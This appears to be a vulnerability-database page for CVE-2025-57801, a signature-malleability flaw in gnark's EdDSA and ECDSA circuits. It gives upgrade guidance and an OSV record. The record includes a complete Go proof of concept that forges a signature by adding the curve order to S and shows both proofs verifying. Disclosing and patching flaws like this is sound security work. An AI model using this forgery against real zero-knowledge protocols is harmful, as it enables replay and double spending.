CVE-2025-57801: Github.com/consensys/gnark Gnark Is Vulnerable To Signature Vulnerability
HIGHCVE-2025-57801 is a HIGH (CVSS 9.1) gnark is vulnerable to signature vulnerability (CWE-347: Improper Verification of Cryptographic Signature) affecting Github.com/consensys/gnark libraries in the Go ecosystem. The issue involves gnark is vulnerable to signature malleability in eddsa and ecdsa due to missing scalar checks. Remediation is available by upgrading affected packages to version 0.14.0.
CVE-2025-57801 at a Glance
Security Impact
CVSS: 9.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).
How to Fix CVE-2025-57801
To remediate this vulnerability, upgrade all affected Github.com/consensys/gnark dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/consensys/gnark to 0.14.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/consensys/gnark
How to Check if You Are Affected
To determine whether your application is affected by CVE-2025-57801, inspect your project dependencies for Github.com/consensys/gnark:
inspect dependencies for github.com/consensys/gnark
Analyze the terminal output to locate any version of Github.com/consensys/gnark in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.14.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-347: Improper Verification of Cryptographic Signature, where the product does not verify, or incorrectly verifies, the cryptographic signature for data. In Github.com/consensys/gnark, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-57801 Affected Github.com/consensys/gnark Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/consensys/gnark
|
Go |
< 0.14.0
|
0.14.0
|
References
Frequently Asked Questions
What is CVE-2025-57801?
Which Github.com/consensys/gnark versions are affected?
What version fixes CVE-2025-57801?
Is github.com/consensys/gnark affected?
What is the CVSS score of CVE-2025-57801?
What CWE is associated with CVE-2025-57801?
How can I check Go dependencies for CVE-2025-57801?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-95v9-hv42-pwrj",
"modified" : "2026-01-22T16:04:13Z",
"published" : "2025-08-22T20:58:21Z",
"aliases" : [ "CVE-2025-57801" ],
"summary" : "gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks",
"details" : "In version before, `sig.s` used without asserting `0 ≤ S < order` in `Verify function` in [eddsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/eddsa/eddsa.go) and [ecdsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/ecdsa/ecdsa.go), which will lead to *signature malleability* vulnerability. \n\n\n\n### Impact\n\nSince gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from `(R, S)`, this enables signature malleability and may lead to double spending.\n\n\n\n### Exploitation\n\n```go\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"fmt\"\n\t\"math/big\"\n\n\t\"github.com/consensys/gnark-crypto/ecc\"\n\tmimcHash \"github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc\"\n\teddsaCrypto \"github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa\"\n\n\t\"github.com/consensys/gnark/backend/groth16\"\n\t\"github.com/consensys/gnark/frontend\"\n\t\"github.com/consensys/gnark/frontend/cs/r1cs\"\n\t\"github.com/consensys/gnark/std/algebra/native/twistededwards\"\n\tstdMimc \"github.com/consensys/gnark/std/hash/mimc\"\n\tstdEddsa \"github.com/consensys/gnark/std/signature/eddsa\"\n\n\tte \"github.com/consensys/gnark-crypto/ecc/twistededwards\"\n)\n\n// Circuit\ntype eddsaCircuit struct {\n\tMsg frontend.Variable `gnark:\",public\"`\n\tPk stdEddsa.PublicKey `gnark:\",public\"`\n\tSig stdEddsa.Signature\n}\n\nfunc (c *eddsaCircuit) Define(api frontend.API) error {\n\tcurve, _ := twistededwards.NewEdCurve(api, te.BN254)\n\thasher, _ := stdMimc.NewMiMC(api)\n\tstdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher)\n\treturn nil\n}\n\nfunc groupOrder() *big.Int {\n\t// BN254 scalar field order (r)\n\tconst rStr = \"21888242871839275222246405745257275088548364400416034343698204186575808495617\"\n\tn, _ := new(big.Int).SetString(rStr, 10)\n\treturn n\n}\n\n// Forge signature: S → S + order\nfunc forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature {\n\torder := groupOrder()\n\n\tvar forged eddsaCrypto.Signature\n\tforged.R = sig.R\n\n\ts := new(big.Int).SetBytes(sig.S[:])\n\ts.Add(s, order)\n\n\tbuf := make([]byte, 32)\n\tcopy(buf[32-len(s.Bytes()):], s.Bytes())\n\tcopy(forged.S[:], buf)\n\treturn forged\n}\n\nfunc main() {\n\t// Generate key pair\n\tpriv, _ := eddsaCrypto.GenerateKey(rand.Reader)\n\tpub := priv.PublicKey\n\tmsg := []byte(\"multi-witness\")\n\n\t// Create honest signature\n\th := mimcHash.NewMiMC()\n\th.Write(msg)\n\trawSig, _ := priv.Sign(msg, h)\n\n\tvar honest eddsaCrypto.Signature\n\thonest.SetBytes(rawSig)\n\tforged := forge(honest) // S + order\n\n\t// Setup: Compile circuit and do trusted setup\n\tcircuit := &eddsaCircuit{}\n\tccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)\n\tif err != nil {\n\t\tfmt.Printf(\"Circuit compilation failed: %v\\n\", err)\n\t\treturn\n\t}\n\n\tpk, vk, err := groth16.Setup(ccs)\n\tif err != nil {\n\t\tfmt.Printf(\"Trusted setup failed: %v\\n\", err)\n\t\treturn\n\t}\n\n\t// Public inputs (same for both witnesses)\n\tvar public eddsaCircuit\n\tpublic.Msg = new(big.Int).SetBytes(msg)\n\tpublic.Pk.Assign(te.BN254, pub.Bytes())\n\n\t// witness 1: honest signature\n\tw1 := public\n\tw1.Sig.Assign(te.BN254, honest.Bytes())\n\n\twitness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField())\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to create witness1: %v\\n\", err)\n\t\treturn\n\t}\n\n\tproof1, err := groth16.Prove(ccs, pk, witness1)\n\tif err != nil {\n\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t} else {\n\t\tpublicWitness1, err := witness1.Public()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t\t} else {\n\t\t\terr = groth16.Verify(proof1, vk, publicWitness1)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Witness 1 (honest): Prover failed!\")\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"Witness 1 (honest): Prover succeeded!\")\n\t\t\t}\n\t\t}\n\t}\n\n\t// witness 2: forged signature\n\tw2 := public\n\tw2.Sig.Assign(te.BN254, forged.Bytes())\n\tfmt.Println(honest.R.Equal(&forged.R))\n\tfmt.Println(honest.S != forged.S)\n\n\twitness2, err := frontend.NewWitness(&w2, ecc.BN254.ScalarField())\n\tif err != nil {\n\t\tfmt.Printf(\"Failed to create witness2: %v\\n\", err)\n\t\treturn\n\t}\n\n\tproof2, err := groth16.Prove(ccs, pk, witness2)\n\tif err != nil {\n\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t} else {\n\t\tpublicWitness2, err := witness2.Public()\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t\t} else {\n\t\t\terr = groth16.Verify(proof2, vk, publicWitness2)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"Witness 2 (forged): Prover failed!\")\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"Witness 2 (forged): Prover succeeded!\")\n\t\t\t}\n\t\t}\n\t}\n}\n```\n\n### Result\n\n```bash\ngo run multiple_witnesses.go\n\n13:47:33 INF compiling circuit\n13:47:33 INF parsed circuit inputs nbPublic=3 nbSecret=3\n13:47:33 INF building constraint builder nbConstraints=7003\n13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.696334\n13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=44.164208\n13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.983583\nWitness 1 (honest): Prover succeeded!\ntrue\ntrue\n13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.59125\n13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=47.168709\n13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.995833\nWitness 2 (forged): Prover succeeded!\n```\n\n\n\n### Credits\n\nXlabAI Team of Tencent Xuanwu Lab\n\nAtuin Automated Vulnerability Discovery Engine \n\nSJTU Group of Software Security In Progress\n\nProf. Yu Yu's Lab at SJTU\n\n### Additional mitigation\n\nThe initial patch added check for `s <= curve order`, omitting the case `s == curve order`. Even though the case is unlikely to be exploitable (requires finding a preimage for `H(R || A || M)`), then it is additionally fixed in https://github.com/Consensys/gnark/pull/1684 (commit https://github.com/Consensys/gnark/commit/69638c5f14b77ae0ebee23e1d8f64f3bb4e22fd5 on master). Thanks for additional reporting by https://github.com/kexinoh.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/consensys/gnark"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.14.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Consensys/gnark/security/advisories/GHSA-95v9-hv42-pwrj"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-57801"
}, {
"type" : "WEB",
"url" : "https://github.com/Consensys/gnark/commit/0ba6730f05537a351517998add89a61a0d82716e"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Consensys/gnark"
}, {
"type" : "WEB",
"url" : "https://pkg.go.dev/vuln/GO-2025-3912"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-347" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-08-22T20:58:21Z",
"nvd_published_at" : "2025-08-22T20:15:33Z"
}
}